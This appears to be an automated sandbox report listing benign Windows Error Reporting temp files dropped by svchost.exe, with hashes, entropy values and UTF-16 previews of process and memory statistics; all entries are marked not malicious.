.1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER17D0.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	103266
Entropy (8bit):	3.066212587274331
Encrypted:	false
SSDEEP:	3072:oE0zq3EpxATRoy8U/RrHJZmS7+RY05+Zj/f8NvM6Ok6R3cAqBDIGTaWKwdZgUYc:E
MD5:	6944F36A719D9B9E1CCCB1B0FBD7984A
SHA1:	B8641FB466F6D8E380B5D70687F80256BEF59C8C
SHA-256:	03F557D3CF37D806F14D0527A4AED1FE28603C835BC55108C080FA335672EF8A
SHA-512:	41DC1B56313FEAE57D4C0E10DB8575E0B912840B0EC055CC8ACDED418F534698E74F773C187A4B443D785685F9912D80B41A7EAE6CDC9843F4850C6E12B261C3
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER18AC.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6986477283637584
Encrypted:	false
SSDEEP:	96:TiZYWtVCJFQYxYUNcocL0HQYEZRButFi0+BSywHxPadno3MIYIIwTeY:2ZD52o/Bupadno3MIYvwTeY
MD5:	2BE124C8A9CEAB0E25454EEA9E813692
SHA1:	BC950C8D1DB2D2330FC7F017507FA8756BBFC9B8
SHA-256:	05DD7307DD6D1313D312D2F70DEB7F3BD9267A185212A85D062303B88BB8F392
SHA-512:	BA7E2BD649B238E2DDE583D444503CD552CBF306D252F39E701DF0F9B30884BD6DF14E447C68E2164CD587DC043A0276C16E1F4D8AED05F02F48B43EF6FE382A
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A43.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	103662
Entropy (8bit):	3.0660971664936922
Encrypted:	false
SSDEEP:	3072:rXnI0zq3EyeRoyIE/hxXfJZm+7+RY05+Zj/f8N7M6OvtNu76V/DdnTa9p2odCUX:Q
MD5:	587AAD1E19D284D90341B84AE78A3071
SHA1:	3FD04D94F00B1BDD4CDE73762E9E2E17D62050BF
SHA-256:	B723C5F67813111A41287A907456EF569F9C1A38300E837DCD7558D674E8FC02
SHA-512:	C2836F8ED4387ADC8B78F0BC9E5638440A0BB5CE22BAE638A34BB836C559F86A12CABFECA2F0374055170EA0B2CE07033617FD90444C7D728497C5163509FA0A
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1AE1.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.699005227510145
Encrypted:	false
SSDEEP:	96:TiZYWX6Ra9+2YQUDY9SuHain0HLYEZUJtFib+3SYwmUIa0cnDMDYXIpeI:2ZDXbVIWnRrha0cnDMDY4peI
MD5:	02CABAE016733CFC79D12796FF9ACA2C
SHA1:	55152E4EB86382B4431F07CF7E394798B46A01A0
SHA-256:	A82319E96B43692E0C8A88BB4757D07C6CDFBB2CB1531EB89294E037A8239948
SHA-512:	D277FF2B944DF647DB11376746FAC4B47843D7BDB2F25F395391A728163F2DC18793CC0ED6CBA4593D331DF1D4D8236E8227094EFE1D7E4D55981D6A9B4EA538
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1BEB.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	104746
Entropy (8bit):	3.064571303931889
Encrypted:	false
SSDEEP:	3072:P5uzq3UP4RoUnE/Cx3fJZmNuC8Y0BFZjgD1q2MwFlQ6qFB1bHWBTaJnEsd47:6
MD5:	1BC4575396D84B4162290E68D8826960
SHA1:	5F1E409D0B20C1A684BF4E0E772248E0D4D8597F
SHA-256:	86831F93E03E28EE7F73C288113DFEF5BD3C3305C4EEF859316B868BD053D7A7
SHA-512:	AEF2F366034F0BD02470D51BF483136846D9286CB1EA2C44565ED66977DC3E30F3B2DCA2B3A1053D1FA048D1B60DC10CD01046980F5DA2B0CA988187538A82B6
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1C88.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6992115089809317
Encrypted:	false
SSDEEP:	96:TiZYWYGEMulAYfEYILH8j0HtYEZEktFiS+jSXgwqeIaZnHMWUcYKIueV:2ZDr7aXj3aZnHMW/Y9ueV
MD5:	18CD59BCD4D604CC56E488B059473D95
SHA1:	43A2A68FA866462925A44F47703FA709C119B99F
SHA-256:	A63AD6E3D6A097D2D5CCF4936EBD01A62EA288B14C7B9DE435AA130BD7DFA06C
SHA-512:	310D936514886F5CE8E84A1F0488B9B87B80187C9FA6731C461E88B2A68C460D58937BE277B56B481170874F278D721249A8DC99587A8EE5D2E2E33C7CA8C08D
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1EDB.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	105070
Entropy (8bit):	3.0640580253892504
Encrypted:	false
SSDEEP:	3072:Qquzq3UzHRoUUG/CxzXJZmsuC8Y0BFZjgD1qYMwFlk7WfDeodKTaJ0w7ad4hL1:B
MD5:	A1FB3E99E2EC2FD0A28F8BFAA536159D
SHA1:	51A8AA6E1735B26DBF97CC2065B1800B4005F932
SHA-256:	265BA0303DD49A8D05AA6E9FC4D492D681AE1902893385BAB73CAC891ECB483D
SHA-512:	35791DBCCB66DEEAA28F33362091079478244387DF6608D575B94EB029B3CCE484070F58890DC44F9FA57D15573253D97942307E45775A26E9D4B669952A49F3
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1FB7.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698657529052873
Encrypted:	false
SSDEEP:	96:TiZYW9B4SV66+YfYyHwWCr0HkYYEZb/UtFiI+vSlwF7F9a4nvMJYkIceD:2ZDZOYilr+/Zja4nvMJYTceD
MD5:	7E964F16FB5262A578A8AD0D7EAA6366
SHA1:	8A2CF6D06DAA724FE868A5C8746E323BCA771AB6
SHA-256:	5A871F8B38F8E8B1C97B207E64C5675E81729A8586A2B730C6776F3F4132AD51
SHA-512:	38CA01E597AD8CC519B63DAFD4BB1AE0AAAD5D70979A4FA89E6AF8C79B33F3B0BA02167DFF9E7D398E2FDB6892B18E0004025D658E21129165CC4264B5DAE0D6
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER20F0.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	105400
Entropy (8bit):	3.0634628536415174
Encrypted:	false
SSDEEP:	3072:vuzq3UzjlRoUaG/CxBXJZmMuC8Y0BFZjgD1q2MwFlp5+P/k+d8TaJ0Upd4OXC:n
MD5:	811C2D9673FD430CFA107B54FAF3BD5A
SHA1:	08647A09BC148FB7E1B95DBAAC17AD5C4574FD56
SHA-256:	14048445D0D2A6C19BBBF9C93A556AE20A4721A3457A5A6A6C8C80CD86ABA759
SHA-512:	A4EE158C27C6442FB56D9D72D74D93A8A7556379C00FE064FF5CB2D7E4684347F6E4C4067E3FFC335C06EC86BD14855ADD76570C211FA14A5CF6AEB670404F62
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER22C6.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.699127241408053
Encrypted:	false
SSDEEP:	96:TiZYW3+JYJG4YvYnF1hHfYEZZetFi8+qSJwbuWaWnUOMtYoIPRej:2ZDM4IQipaWnvMtYPZej
MD5:	F81914411D94FDB88891AD08F1218F24
SHA1:	684BAE95D718CF369095DB730B3F4234C38542A5
SHA-256:	BC661A781ED8FE916DFEE412CF191E3CCF069C22D3DDB1432AAD37F6A0F9806C
SHA-512:	C89D46D40C1B05AF2CC057D84B1BE3EE1151E274034A268F9EDB8398EAD8FABE94A75D0B4F6078A8D69639AEEF39CD70A1C4071242E05A9B9CDEE166FA51A818
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER23C1.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	106500
Entropy (8bit):	3.0623458426363848
Encrypted:	false
SSDEEP:	3072:Xuzq3UzdcRoUAJ/CxBPJZmMuC8Y0BFZjgD1qfMwFNYvrFhW0staqTaJO9WdVTh:D
MD5:	51D4896585DD82127689605E9E5F09C1
SHA1:	EFA5A1580774D724A414AABD4013A0DE2E7E83CB
SHA-256:	FFF33E3855636256F7D0B9A937FB7A56B2DDE9AF1AF52A1922E12BDC36E41839
SHA-512:	EE345FA8EEE6B64870661AA5B3D704BE500A8228227608DAA7739051D4D0E2EFE9D0CDA82D92B9CCF1368358ECBDF79C1AFB773F896E67F35C260C78204A367D
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER246E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698938376733786
Encrypted:	false
SSDEEP:	96:TiZYW9Q4+yY9Y6QiDHBYEZMZtFiE+0xStwkS4+TCaInuMPYgIKe5:2ZDvKWfusCaInuMPY3Ke5
MD5:	8BDA448F9EA95DD3F822F3E405FF98A8
SHA1:	B97DAC725BCE50C744DBE4E3417A5E83400B4E7D
SHA-256:	A5BCF063FE5CF2341E80E7080CF40351C7E50060B74EE11CE4F9C613F877AEDD
SHA-512:	D9A02D3223202E7ACF39F744D6AF7B293A85087B6E84D0CF6D5C7723B527332608827811DA66F811FAB9E2D90A07221AF4E94D85721A3A16276C0C01B7874605
Malicious:	false
